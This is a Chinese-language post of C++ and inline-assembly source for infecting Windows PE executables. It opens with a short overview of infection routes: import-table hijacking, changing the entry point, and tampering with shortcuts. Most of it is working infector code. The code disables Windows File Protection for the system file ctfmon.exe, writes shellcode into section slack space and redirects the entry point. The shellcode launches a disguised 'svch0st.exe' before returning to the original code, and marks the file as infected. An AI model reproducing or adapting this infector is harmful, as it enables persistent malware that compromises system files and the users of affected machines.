PE文件的感染C++源代码
PE文件规定了可执行文件的格式,凡是符合此格式的文件都能在windows系统上运行。PE文件的格式暂且不谈,说一些感染PE文件的几种途径。
 导入表感染。这个涉及比较复杂的操作,首先,要自行写一个dll文件,提供程序中对原dll引用的所有函数,然后增加一个节区,修改ImportAddress中的地址,使其指向新增加的节,这样,程序加载后,只要调用相关函数,就会先执行自己写的dll,执行完后,再跳转到原代码人口处执行。
 导入地址感染。这个相对简单些,在PE文件头部分,IMAGE_OPTION_HEADER中有个ImportAddress目录,这个目录中只是一些jmp指令,我们可以修改jmp指令跳转的地址,使其指向在PE文件中我们新增加的代码。这需要在原PE文件中增加代码,PE文件在硬盘上默认200H字节对齐,一般存有空隙,如果代码量小,不用增加新节就可以插入代码。
 修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。
 修改快捷方式文件。如果PE文件存在快捷方式,可以先行感染快捷方式,使快捷方式指向自己写的程序,自写程序启动后,再执行真正的PE文件。这种做法比较猥琐,而且不可靠。
#include <stdio.h>
 #include<windows.h>
 #include<TCHAR.h>
 #include <shlwapi.h>
 typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);
void KillSFC()
 {
     WCHAR drvpath[MAX_PATH]={0};
     
     GetSystemDirectoryW(drvpath,sizeof(drvpath));
     wcscat(drvpath,L"\\ctfmon.exe");
     HMODULE hModule = LoadLibraryA("SFC.DLL");
     SfcFileException *SfcFileExc = (SfcFileException (__stdcall *))GetProcAddress(hModule,(LPCSTR)5);
     SfcFileExc(0,drvpath,-1);
   FreeLibrary(hModule);
     return;
 }
int InjectPE()
 {
   IMAGE_NT_HEADERS ntHeader;
   IMAGE_SECTION_HEADER SecInject;
   FILE* pFile;
   char systemPath[MAX_PATH];
   GetSystemDirectoryA(systemPath,sizeof(systemPath));
   char szFileName[MAX_PATH] = "\\ctfmon.exe";
   strcat(systemPath,szFileName);
   strcpy(szFileName,systemPath);
   
   KillSFC();
   
  if((pFile=fopen(szFileName,"rb+"))==NULL)//打开文件失败则退出
   {
     printf("打开文件失败\n");
     return 0;
   }
   
   fseek(pFile,0x3c,0);
   DWORD pNT;
   fread(&pNT,sizeof(DWORD),1,pFile);
   fseek(pFile,pNT,SEEK_SET);
   fread(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile); //读取NT头
   
   
   //保存旧入口地址
   int sectionNum = ntHeader.FileHeader.NumberOfSections;
   int OldEntryPoint = ntHeader.OptionalHeader.AddressOfEntryPoint;
   
   goto shellend;
 __asm
 {
     shell:  PUSHAD
     MOV  EAX,DWORD PTR FS:[30H]  ;FS:[30H]指向PEB
     MOV  EAX,DWORD PTR [EAX+0CH]  ;获取PEB_LDR_DATA结构的指针
     MOV  EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
     MOV  EAX,DWORD PTR [EAX]  ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
     MOV  EAX,DWORD PTR [EAX+08H]  ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
     MOV  EBP,EAX    ;  将Kernel32.dll模块基址地址放至kernel中
     MOV  EAX,DWORD PTR [EAX+3CH]  ;指向IMAGE_NT_HEADERS
     MOV  EAX,DWORD PTR [EBP+EAX+120]  ;指向导出表
     MOV  ECX,[EBP+EAX+24]  ;取导出表中导出函数名字的数目
     MOV  EBX,[EBP+EAX+32]    ;取导出表中名字表的地址
     ADD  EBX,EBP
     PUSH WORD  PTR 0X00      ;构造GetProcAddress字符串
     PUSH DWORD PTR 0X73736572
     PUSH DWORD PTR 0X64644163
     PUSH DWORD PTR 0X6F725074
     PUSH WORD PTR 0X6547
     MOV  EDX,ESP
     PUSH ECX
    
 F1:  
     MOV  EDI,EDX
     POP  ECX
     DEC  ECX
     TEST  ECX,ECX
     JZ  EXIT
     MOV  ESI,[EBX+ECX*4]    
     ADD  ESI,EBP
     PUSH  ECX
     MOV  ECX,15
     REPZ  CMPSB
     TEST  ECX,ECX
     JNZ  F1
   
     POP  ECX
     MOV  ESI,[EBP+EAX+36]  ;取得导出表中序号表的地址
     ADD  ESI,EBP
     MOVZX  ESI,WORD PTR[ESI+ECX*2]    ;取得进入函数地址表的序号
     MOV  EDI,[EBP+EAX+28]  ;取得函数地址表的地址
     ADD  EDI,EBP
     MOV  EDI,[EDI+ESI*4]    ;取得GetProcAddress函数的地址
     ADD  EDI,EBP      
     PUSH WORD PTR 0X00              
     PUSH DWORD PTR 0X636578  ;构造WinExec字符串
     PUSH DWORD PTR 0X456E6957
     PUSH ESP
     PUSH  EBP      ;
     CALL  EDI      ;调用GetProcAddress取得WinExec函数的地址
     
     
     XOR     EBX,EBX
     PUSH    EBX
     PUSH  WORD PTR 0X00    ;构造svch0st.exe符串.
     PUSH  DWORD PTR 0X455845  
     PUSH    DWORD PTR 0X2E545330
     PUSH  DWORD PTR 0X48435653
     PUSH  ESP
     CALL  EAX
 EXIT:  ADD ESP,40      ;平衡堆栈
     POPAD
 }
   shellend:
     char *pShell;
     int nShellLen;
     
 __asm
 {
     LEA EAX,shell
     MOV pShell,EAX;
     LEA EBX,shellend
     SUB EBX,EAX
     MOV nShellLen,EBX
 }
   
 int i;
for(i=0;i<sectionNum;i++)
   {
    fseek(pFile,pNT+248+i*40,SEEK_SET);  //定位到节表开始处 
    fread(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile);
    DWORD pInfect = SecInject.PointerToRawData + SecInject.Misc.VirtualSize+5; 
    WORD Sign;
    fseek(pFile,pInfect,SEEK_SET);
    fread(&Sign,sizeof(WORD),1,pFile);
    if(Sign == 0x1122)  //已经感染过,结束程序.
    {
      //MessageBoxA(NULL,"已感染过","msg",MB_OK);
      return 0;
    }
    if((int)(SecInject.SizeOfRawData-SecInject.Misc.VirtualSize)>nShellLen)
     break;
   }
   
 if(i>=sectionNum)
 {
   printf("找不到适合插入的节");
   return 0;
 }
   DWORD lpCodeRVA = SecInject.VirtualAddress + SecInject.Misc.VirtualSize;   
   DWORD lpCodeOffs = SecInject.PointerToRawData + SecInject.Misc.VirtualSize; //添加代码的文件偏移
   /*修改入口点地址并写回NT HEADER中*/
   ntHeader.OptionalHeader.AddressOfEntryPoint = lpCodeRVA;  
   fseek(pFile,pNT,SEEK_SET);
   fwrite(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile);
  SecInject.Characteristics = SecInject.Characteristics|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE; //节属性改成可读、可执行
   SecInject.Misc.VirtualSize += nShellLen; 
   fseek(pFile,pNT+248+i*40,SEEK_SET);  //文件指针移动到SecInject的首址
   fwrite(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile); //将修改后的节信息写回文件中
  /*写入SHELLCODE*/
   fseek(pFile,lpCodeOffs,SEEK_SET);  //定位到添加代码的文件偏移
   for(i=0;i<nShellLen;i++)
   fputc(pShell[i],pFile);
   //SHELLCODE之后是跳转到原OEP的指令
       
   BYTE jmp = 0xE9;
   OldEntryPoint = OldEntryPoint-(lpCodeRVA+nShellLen)-5;
   fwrite(&jmp, sizeof(jmp), 1, pFile);
   fwrite(&OldEntryPoint, sizeof(OldEntryPoint), 1, pFile);
   WORD InfectSign=0x1122; // 感染标志
   fwrite(&InfectSign,sizeof(WORD),1,pFile); 
   fclose(pFile);
   //MessageBoxA(NULL,"注入成功","INFO",MB_OK);
   return 0;
 }